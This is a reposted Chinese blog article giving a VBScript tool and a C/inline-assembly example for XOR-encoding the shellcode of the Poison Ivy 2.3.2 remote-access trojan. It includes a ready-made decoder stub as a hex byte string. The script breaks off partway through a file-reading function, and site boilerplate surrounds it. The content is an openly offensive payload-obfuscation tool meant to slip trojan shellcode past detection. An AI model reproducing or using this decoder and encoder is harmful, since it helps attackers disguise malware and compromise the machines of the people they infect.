xor shellcode for Poison Ivy 2.3.2 bin[网络技术]
本文“xor shellcode for Poison Ivy 2.3.2 bin[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
From vbs小铺'blog
'=======================================================================================================================
'用c代码和汇编得到一个xor &h21 的解码头的示例代码
'#include <string.h>
'#include <stdio.h>
'int main()
'{
' __asm
' {
' jmp decode_end //为了得到enShellCode的地址
'decode_start:
' pop edx // 得到enShellCode的开始位置 esp -> edx
' dec edx
' xor ecx,ecx
' mov cx,0x2134 //要解码的 enShellCode长度,0x2134=8500字节应当充足pi的shellcode长度
'decode_loop:
' xor byte ptr [edx+ecx], 0x21 //因为编码时用的Key是0x21,所以解码要一样
' loop decode_loop //循环解码
' jmp decode_ok //解码完毕后,跳到解码后的地方履行!
'decode_end:
' call decode_start
'decode_ok: //背面接编码后的enShellCode
' }
' return 0;
'}
'od反汇编得到decode的解码头为:"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x34\x21\x80\x34\x0A\x21\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
'==============================================================================================================================
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "Execute it under the cmd.exe Plz! Thx."
wscript.quit
end if
if Wscript.Arguments.count=0 Then
usage()
wscript.quit
End If
'10进制转16进制函数
Function Dec2Hex(Dec)
Dec2Hex = ""
Do While Dec > 0
a = CStr(Dec Mod 16)
Select Case a
Case "10": a = "A"
Case "11": a = "B"
Case "12": a = "C"
Case "13": a = "D"
Case "14": a = "E"
Case "15": a = "F"
End Select
Dec2Hex = a & Dec2Hex
Dec = Dec \ 16
Loop
End Function
'读取二进制文件函数
Function ReadGif(sStr)
Dim i, iHex, sPath, oStream
Set oStream = CreateObject("Adodb.Stream")
oStream.Type = 1
oStream.Open
oStream.LoadFromFile sStr
For i = 1 To LenB(oStream.Read())
oStream.Position = 0
iHex = Hex(AscB(MidB(oStream.Read(), i, 1)))
If Len(iHex) = 1 Then iHex = "0" & iHex
ReadGif = ReadGif & iHex
以上是“xor shellcode for Poison Ivy 2.3.2 bin[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |